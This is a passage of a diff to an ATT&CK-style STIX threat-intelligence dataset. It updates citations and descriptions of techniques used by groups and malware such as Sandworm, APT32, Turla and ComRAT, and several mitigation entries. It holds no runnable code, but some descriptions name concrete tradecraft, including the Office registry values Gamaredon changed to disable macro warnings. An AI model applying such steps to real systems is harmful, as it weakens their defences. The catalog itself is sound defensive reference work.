2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "id": "relationship--5259c2ae-964d-49b6-a7e7-6246e748369f", "type": "relationship", - "modified": "2020-06-10T21:56:40.279Z", + "modified": "2020-11-25T21:00:56.296Z", "created": "2020-06-10T19:35:58.143Z" }, { @@ -203460,13 +205037,18 @@ "source_name": "ESET Telebots Dec 2016", "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], - "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034)'s Python backdoor can push additional malicious tools to an infected system.(Citation: ESET Telebots Dec 2016)", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has pushed additional malicious tools onto an infected system to steal user credentials, move laterally, and destroy data.(Citation: ESET Telebots Dec 2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "id": "relationship--ea80c942-680d-43b4-9cbf-21f2078977ad", "type": "relationship", - "modified": "2020-06-10T21:56:40.113Z", + "modified": "2020-11-25T21:00:57.219Z", "created": "2020-06-10T21:56:40.113Z" }, { @@ -203507,13 +205089,18 @@ "source_name": "ESET Telebots Dec 2016", "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], - "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has avoided detection by naming a malicious binary explorer.exe.(Citation: ESET Telebots Dec 2016)", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has avoided detection by naming a malicious binary explorer.exe.(Citation: ESET Telebots Dec 2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "id": "relationship--fed23938-8fbc-4b67-8452-f2f413eed291", "type": "relationship", - "modified": "2020-06-18T20:24:21.466Z", + "modified": "2020-11-25T21:00:57.830Z", "created": "2020-06-10T21:56:40.151Z" }, { @@ -203528,13 +205115,18 @@ "source_name": "ESET Telebots Dec 2016", "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], - "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has delivered spearphishing attachments with malicious macros embedded within files.(Citation: ESET Telebots Dec 2016)", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has tricked unwitting recipients into clicking on spearphishing attachments and enabling malicious macros embedded within files.(Citation: ESET Telebots Dec 2016)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "id": "relationship--55fb787a-6622-43c7-a47d-48b4db7e8d81", "type": "relationship", - "modified": "2020-06-10T21:56:40.153Z", + "modified": "2020-11-30T19:38:30.045Z", "created": "2020-06-10T21:56:40.153Z" }, { @@ -203627,13 +205219,18 @@ "source_name": "ESET Telebots June 2017", "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020." + }, + { + "source_name": "ANSSI Sandworm January 2021", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", + "description": "ANSSI. (2021, January 27). SANDWORM INTRUSION SET CAMPAIGN TARGETING CENTREON SYSTEMS. Retrieved March 30, 2021." } ], - "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used Dropbear SSH with a hardcoded backdoor password to maintain persistence within the target network. [Sandworm Team](https://attack.mitre.org/groups/G0034) has also used VPN tunnels established in legitimate software company infrastructure to gain access to internal networks of that software company's users.(Citation: ESET BlackEnergy Jan 2016)(Citation: ESET Telebots June 2017)", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has used Dropbear SSH with a hardcoded backdoor password to maintain persistence within the target network. [Sandworm Team](https://attack.mitre.org/groups/G0034) has also used VPN tunnels established in legitimate software company infrastructure to gain access to internal networks of that software company's users.(Citation: ESET BlackEnergy Jan 2016)(Citation: ESET Telebots June 2017)(Citation: ANSSI Sandworm January 2021)", "relationship_type": "uses", "id": "relationship--3d450e48-e73f-417f-941d-85c8658f5d1f", "type": "relationship", - "modified": "2020-06-18T20:24:21.696Z", + "modified": "2021-03-31T15:59:33.069Z", "created": "2020-06-10T21:56:40.250Z" }, { @@ -203726,13 +205323,18 @@ "source_name": "ESET Telebots June 2017", "url": "https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/", "description": "Cherepanov, A.. (2017, June 30). TeleBots are back: Supply chain attacks against Ukraine. Retrieved June 11, 2020." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], - "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has distributed [NotPetya](https://attack.mitre.org/software/S0368) by compromising the legitimate Ukrainian accounting software M.E.Doc and replacing a legitimate software update with a malicious one.(Citation: Secureworks NotPetya June 2017)(Citation: ESET Telebots June 2017)", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has distributed [NotPetya](https://attack.mitre.org/software/S0368) by compromising the legitimate Ukrainian accounting software M.E.Doc and replacing a legitimate software update with a malicious one.(Citation: Secureworks NotPetya June 2017)(Citation: ESET Telebots June 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)", "relationship_type": "uses", "id": "relationship--927434d1-b487-4e3c-909d-ac8725555080", "type": "relationship", - "modified": "2020-06-11T16:28:58.559Z", + "modified": "2020-11-25T22:46:48.536Z", "created": "2020-06-11T15:05:01.794Z" }, { @@ -203978,13 +205580,18 @@ "source_name": "ESET Telebots July 2017", "url": "https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/", "description": "Cherepanov, A.. (2017, July 4). Analysis of TeleBots\u2019 cunning backdoor . Retrieved June 11, 2020." + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020." } ], - "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) used a backdoor to enumerate information about the infected system's operating system.(Citation: ESET Telebots July 2017)\t", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) used a backdoor to enumerate information about the infected system's operating system.(Citation: ESET Telebots July 2017)(Citation: US District Court Indictment GRU Unit 74455 October 2020)\t", "relationship_type": "uses", "id": "relationship--f7f1c7c3-192b-4675-815d-0a61b3e3a206", "type": "relationship", - "modified": "2020-06-22T15:45:19.249Z", + "modified": "2020-11-25T22:46:48.611Z", "created": "2020-06-11T16:28:58.245Z" }, { @@ -204459,13 +206066,18 @@ "source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." + }, + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." } ], - "description": "[Ramsay](https://attack.mitre.org/software/S0458) can use UACMe for privilege escalation.(Citation: Eset Ramsay May 2020)\t", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) can use [UACMe](https://attack.mitre.org/software/S0116) for privilege escalation.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)\t", "relationship_type": "uses", "id": "relationship--a024097d-78f0-4439-a239-571d361335f5", "type": "relationship", - "modified": "2020-06-15T20:53:11.795Z", + "modified": "2021-03-24T20:25:01.493Z", "created": "2020-06-12T16:15:04.839Z" }, { @@ -204663,35 +206275,35 @@ "created": "2020-06-15T14:22:33.878Z" }, { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", + "target_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", "external_references": [ { "source_name": "Forbes Dyre May 2017", - "description": "Brewster, T. (2017, May 4). https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates/#601c77842a0a. Retrieved June 15, 2020.", - "url": "https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates/#601c77842a0a" + "url": "https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates/#601c77842a0a", + "description": "Brewster, T. (2017, May 4). https://www.forbes.com/sites/thomasbrewster/2017/05/04/dyre-hackers-stealing-millions-from-american-coporates/#601c77842a0a. Retrieved June 15, 2020." }, { "source_name": "CrowdStrike Wizard Spider March 2019", - "description": "Feeley, B. and Stone-Gross, B. (2019, March 20). New Evidence Proves Ongoing WIZARD SPIDER / LUNAR SPIDER Collaboration. Retrieved June 15, 2020.", - "url": "https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/" + "url": "https://www.crowdstrike.com/blog/wizard-spider-lunar-spider-shared-proxy-module/", + "description": "Feeley, B. and Stone-Gross, B. (2019, March 20). New Evidence Proves Ongoing WIZARD SPIDER / LUNAR SPIDER Collaboration. Retrieved June 15, 2020." }, { "source_name": "Malwarebytes TrickBot Sep 2019", - "description": "Umawing, J. (2019, September 3). TrickBot adds new trick to its arsenal: tampering with trusted texts. Retrieved June 15, 2020.", - "url": "https://blog.malwarebytes.com/trojans/2019/09/trickbot-adds-new-trick-to-its-arsenal-tampering-with-trusted-texts/" + "url": "https://blog.malwarebytes.com/trojans/2019/09/trickbot-adds-new-trick-to-its-arsenal-tampering-with-trusted-texts/", + "description": "Umawing, J. (2019, September 3). TrickBot adds new trick to its arsenal: tampering with trusted texts. Retrieved June 15, 2020." } ], - "id": "relationship--61805115-3044-4ed7-91f4-074b2a073e02", - "target_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", - "type": "relationship", - "created": "2020-06-15T19:06:44.790Z", "description": "(Citation: Forbes Dyre May 2017)(Citation: CrowdStrike Wizard Spider March 2019)(Citation: Malwarebytes TrickBot Sep 2019)", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "relationship_type": "uses", - "modified": "2020-06-16T19:04:09.745Z" + "id": "relationship--61805115-3044-4ed7-91f4-074b2a073e02", + "type": "relationship", + "modified": "2020-06-16T19:04:09.745Z", + "created": "2020-06-15T19:06:44.790Z" }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -205166,11 +206778,11 @@ "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020." } ], - "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has removed security settings for VBA macro execution by changing registry values HKCU\\Software\\Microsoft\\Office\\<version>\\<product>\\Security\\VBAWarnings and HKCU\\Software\\Microsoft\\Office\\<version>\\<product>\\Security\\AccessVBOM.(Citation: ESET Gamaredon June 2020)\t", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has removed security settings for VBA macro execution by changing registry values HKCU\\Software\\Microsoft\\Office\\<version>\\<product>\\Security\\VBAWarnings and HKCU\\Software\\Microsoft\\Office\\<version>\\<product>\\Security\\AccessVBOM.(Citation: ESET Gamaredon June 2020)", "relationship_type": "uses", "id": "relationship--5edb6931-3262-40a9-acce-3016ac4153d4", "type": "relationship", - "modified": "2020-06-22T21:18:35.700Z", + "modified": "2021-01-20T22:20:21.337Z", "created": "2020-06-16T17:53:19.061Z" }, { @@ -206250,13 +207862,23 @@ "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017" + }, + { + "source_name": "Volexity Ocean Lotus November 2020", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020." + }, + { + "source_name": "Amnesty Intl. Ocean Lotus February 2021", + "url": "https://www.amnesty.org/en/latest/news/2021/02/viet-nam-hacking-group-targets-activist/", + "description": "Amnesty International. (2021, February 24). Vietnamese activists targeted by notorious hacking group. Retrieved March 1, 2021." } ], - "description": "[APT32](https://attack.mitre.org/groups/G0050) has lured targets to download a Cobalt Strike beacon by including a malicious link within spearphishing emails.(Citation: Cybereason Cobalt Kitty 2017)", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has lured targets to download a Cobalt Strike beacon by including a malicious link within spearphishing emails.(Citation: Cybereason Cobalt Kitty 2017)(Citation: Volexity Ocean Lotus November 2020)(Citation: Amnesty Intl. Ocean Lotus February 2021)", "relationship_type": "uses", "id": "relationship--788a6ca2-60ac-4f36-b708-c3a57f087b2b", "type": "relationship", - "modified": "2020-06-19T20:04:12.189Z", + "modified": "2021-03-01T16:51:08.789Z", "created": "2020-06-19T20:04:12.189Z" }, { @@ -207254,7 +208876,7 @@ "description": "Script blocking extensions can help prevent the execution of JavaScript and HTA files that may commonly be used during the exploitation process. For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.", "id": "relationship--b432bca9-8f75-431d-b0af-f43623e287d4", "type": "relationship", - "modified": "2020-06-25T03:23:13.985Z", + "modified": "2021-04-27T19:21:06.039Z", "created": "2020-06-23T19:12:25.103Z" }, { @@ -207268,7 +208890,7 @@ "description": "Denylist scripting where appropriate.", "id": "relationship--5853af0d-4716-4290-b3d9-63fadfd5f554", "type": "relationship", - "modified": "2020-06-25T03:23:14.008Z", + "modified": "2021-04-27T19:21:06.076Z", "created": "2020-06-23T19:12:25.113Z" }, { @@ -207282,7 +208904,7 @@ "description": "Turn off or restrict access to unneeded scripting components.", "id": "relationship--a2eb983e-f4ad-45a3-9348-088bbfdbab77", "type": "relationship", - "modified": "2020-06-25T03:23:14.006Z", + "modified": "2021-04-27T19:21:06.097Z", "created": "2020-06-23T19:12:25.119Z" }, { @@ -207340,7 +208962,7 @@ "source_name": "SecureList Griffon May 2019" } ], - "description": "[GRIFFON](https://attack.mitre.org/software/S0417) is written in and executed as [JavaScript/JScript](https://attack.mitre.org/techniques/T1059/007).(Citation: SecureList Griffon May 2019)\t", + "description": "[GRIFFON](https://attack.mitre.org/software/S0417) is written in and executed as [JavaScript](https://attack.mitre.org/techniques/T1059/007).(Citation: SecureList Griffon May 2019)\t", "relationship_type": "uses", "id": "relationship--58801cab-349a-4f09-b449-149b19bcf085", "type": "relationship", @@ -207445,27 +209067,6 @@ "modified": "2020-06-24T19:03:20.236Z", "created": "2020-06-23T19:53:58.405Z" }, - { - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", - "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", - "external_references": [ - { - "source_name": "Kaspersky MoleRATs April 2019", - "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", - "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020." - } - ], - "description": "[Molerats](https://attack.mitre.org/groups/G0021) used various implants, including those built on .NET, on target machines.(Citation: Kaspersky MoleRATs April 2019)\t", - "relationship_type": "uses", - "id": "relationship--7321f0a3-afab-462b-808d-ac85978a9b0c", - "type": "relationship", - "modified": "2020-06-24T19:11:10.751Z", - "created": "2020-06-23T20:00:58.628Z" - }, { "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ @@ -208076,13 +209677,18 @@ "source_name": "objective-see windtail1 dec 2018", "url": "https://objective-see.com/blog/blog_0x3B.html", "description": "Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019." + }, + { + "source_name": "Blackberry Bahamut", + "url": "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", + "description": "The Blackberry Research & Intelligence Team. (2020, October). BAHAMUT: Hack-for-Hire Masters of Phishing, Fake News, and Fake Apps. Retrieved February 8, 2021." } ], - "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used icons mimicking MS Office files to mask malicious executables.(Citation: objective-see windtail1 dec 2018)", + "description": "[Windshift](https://attack.mitre.org/groups/G0112) has used icons mimicking MS Office files to mask malicious executables.(Citation: objective-see windtail1 dec 2018) [Windshift](https://attack.mitre.org/groups/G0112) has also attempted to hide executables by changing the file extension to \".scr\" to mimic Windows screensavers.(Citation: Blackberry Bahamut)", "relationship_type": "uses", "id": "relationship--ad880548-e776-4e7b-995d-ce6fdc91e865", "type": "relationship", - "modified": "2020-06-26T13:34:33.894Z", + "modified": "2021-04-19T19:24:55.518Z", "created": "2020-06-25T17:48:41.197Z" }, { @@ -208341,7 +209947,7 @@ "description": "Limit access to the root account and prevent users from modifying PAM components through proper privilege separation (ex SELinux, grsecurity, AppArmor, etc.) and limiting Privilege Escalation opportunities.", "id": "relationship--327a2877-8820-4def-8cd8-787f06cfd987", "type": "relationship", - "modified": "2020-07-13T21:23:01.478Z", + "modified": "2021-04-20T20:12:34.695Z", "created": "2020-06-26T04:01:09.879Z" }, { @@ -208355,7 +209961,7 @@ "description": "Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information.", "id": "relationship--22501b39-e106-4a7f-b915-013c30f47af8", "type": "relationship", - "modified": "2020-07-13T21:23:01.471Z", + "modified": "2021-04-20T20:12:34.696Z", "created": "2020-06-26T04:01:09.881Z" }, { @@ -208446,13 +210052,18 @@ "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017" + }, + { + "source_name": "Volexity Ocean Lotus November 2020", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020." } ], - "description": "[APT32](https://attack.mitre.org/groups/G0050) has used JavaScript for drive-by downloads and C2 communications.(Citation: Cybereason Cobalt Kitty 2017)", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used JavaScript for drive-by downloads and C2 communications.(Citation: Cybereason Cobalt Kitty 2017)(Citation: Volexity Ocean Lotus November 2020)", "relationship_type": "uses", "id": "relationship--18771b0e-2d4b-4f76-ae1e-9cdac1c77cd0", "type": "relationship", - "modified": "2020-06-26T14:21:13.800Z", + "modified": "2020-11-24T21:27:55.074Z", "created": "2020-06-26T14:21:13.800Z" }, { @@ -208921,13 +210532,18 @@ "source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020." + }, + { + "source_name": "ESET Crutch December 2020", + "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020." } ], - "description": "[Turla](https://attack.mitre.org/groups/G0010) has used net user to enumerate local accounts on the system.(Citation: ESET ComRAT May 2020)", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used net user to enumerate local accounts on the system.(Citation: ESET ComRAT May 2020)(Citation: ESET Crutch December 2020)", "relationship_type": "uses", "id": "relationship--8a47e81d-be1f-488c-8136-40e18c70d45f", "type": "relationship", - "modified": "2020-06-29T02:52:31.571Z", + "modified": "2020-12-07T21:18:03.506Z", "created": "2020-06-29T02:52:31.571Z" }, { @@ -208984,13 +210600,18 @@ "source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020." + }, + { + "source_name": "CISA ComRAT Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020." } ], - "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used a scheduled task to launch its PowerShell loader.(Citation: ESET ComRAT May 2020)", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used a scheduled task to launch its PowerShell loader.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)", "relationship_type": "uses", "id": "relationship--19153106-5607-4cac-91a5-c2a900bc5343", "type": "relationship", - "modified": "2020-06-29T03:27:50.994Z", + "modified": "2020-12-09T23:26:09.185Z", "created": "2020-06-29T03:27:50.994Z" }, { @@ -209005,13 +210626,18 @@ "source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020." + }, + { + "source_name": "CISA ComRAT Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020." } ], - "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used unique per machine passwords to decrypt the orchestrator payload and a hardcoded XOR key to decrypt its communications module. [ComRAT](https://attack.mitre.org/software/S0126) has also used a unique password to decrypt the file used for its hidden file system.(Citation: ESET ComRAT May 2020)", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used unique per machine passwords to decrypt the orchestrator payload and a hardcoded XOR key to decrypt its communications module. [ComRAT](https://attack.mitre.org/software/S0126) has also used a unique password to decrypt the file used for its hidden file system.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)", "relationship_type": "uses", "id": "relationship--ad8fdfa4-5e0b-437d-9723-9bc5a272f465", "type": "relationship", - "modified": "2020-06-29T04:05:19.141Z", + "modified": "2020-12-09T23:26:09.254Z", "created": "2020-06-29T03:27:51.019Z" }, { @@ -209026,13 +210652,18 @@ "source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020." + }, + { + "source_name": "CISA ComRAT Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020." } ], - "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used encryption and base64 to obfuscate its orchestrator code in the Registry. [ComRAT](https://attack.mitre.org/software/S0126) has also embedded an XOR encrypted communications module inside the orchestrator module. [ComRAT](https://attack.mitre.org/software/S0126) has encrypted its virtual file system using AES-256 in XTS mode.(Citation: ESET ComRAT May 2020)", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used encryption and base64 to obfuscate its orchestrator code in the Registry. [ComRAT](https://attack.mitre.org/software/S0126) has also embedded an XOR encrypted communications module inside the orchestrator module. [ComRAT](https://attack.mitre.org/software/S0126) has encrypted its virtual file system using AES-256 in XTS mode and has encoded PowerShell scripts.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ", "relationship_type": "uses", "id": "relationship--3a86072e-4ca6-4b5d-bf31-b17c250f572e", "type": "relationship", - "modified": "2020-06-29T04:05:19.174Z", + "modified": "2020-12-11T20:13:44.928Z", "created": "2020-06-29T03:27:51.057Z" }, { @@ -209047,13 +210678,18 @@ "source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020." + }, + { + "source_name": "CISA ComRAT Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020." } ], - "description": "[ComRAT](https://attack.mitre.org/software/S0126) has encrypted and stored its orchestrator code in the Registry.(Citation: ESET ComRAT May 2020)", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has encrypted and stored its orchestrator code in the Registry as well as a PowerShell script into the WsqmCons Registry key.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ", "relationship_type": "uses", "id": "relationship--c2496cf4-b502-44cf-ae85-efb9b882a4b1", "type": "relationship", - "modified": "2020-06-29T03:27:51.063Z", + "modified": "2020-12-11T20:13:44.996Z", "created": "2020-06-29T03:27:51.063Z" }, { @@ -209068,13 +210704,18 @@ "source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020." + }, + { + "source_name": "CISA ComRAT Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020." } ], - "description": "[ComRAT](https://attack.mitre.org/software/S0126) has injected its orchestrator DLL into explorer.exe. [ComRAT](https://attack.mitre.org/software/S0126) has also injected its communications module into the victim's default browser to make C2 connections appear less suspicious as all network connections will be initiated by the browser process.(Citation: ESET ComRAT May 2020)", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has injected its orchestrator DLL into explorer.exe. [ComRAT](https://attack.mitre.org/software/S0126) has also injected its communications module into the victim's default browser to make C2 connections appear less suspicious as all network connections will be initiated by the browser process.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)", "relationship_type": "uses", "id": "relationship--39647c47-c73d-4da7-9b1a-8c67f20c1890", "type": "relationship", - "modified": "2020-06-29T04:05:19.169Z", + "modified": "2020-12-09T23:26:09.430Z", "created": "2020-06-29T03:27:51.065Z" }, { @@ -209131,13 +210772,18 @@ "source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020." + }, + { + "source_name": "CISA ComRAT Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020." } ], - "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used PowerShell to load itself every time a user logs in to the system. [ComRAT](https://attack.mitre.org/software/S0126) can execute PowerShell scripts loaded into memory or from the file system.(Citation: ESET ComRAT May 2020)", + "description": "[ComRAT](https://attack.mitre.org/software/S0126) has used PowerShell to load itself every time a user logs in to the system. [ComRAT](https://attack.mitre.org/software/S0126) can execute PowerShell scripts loaded into memory or from the file system.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)", "relationship_type": "uses", "id": "relationship--bdac1391-310e-4511-b272-b80924166723", "type": "relationship", - "modified": "2020-06-29T04:05:19.178Z", + "modified": "2020-12-09T23:26:09.548Z", "created": "2020-06-29T03:41:07.285Z" }, { @@ -209152,13 +210798,18 @@ "source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020." + }, + { + "source_name": "CISA ComRAT Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + 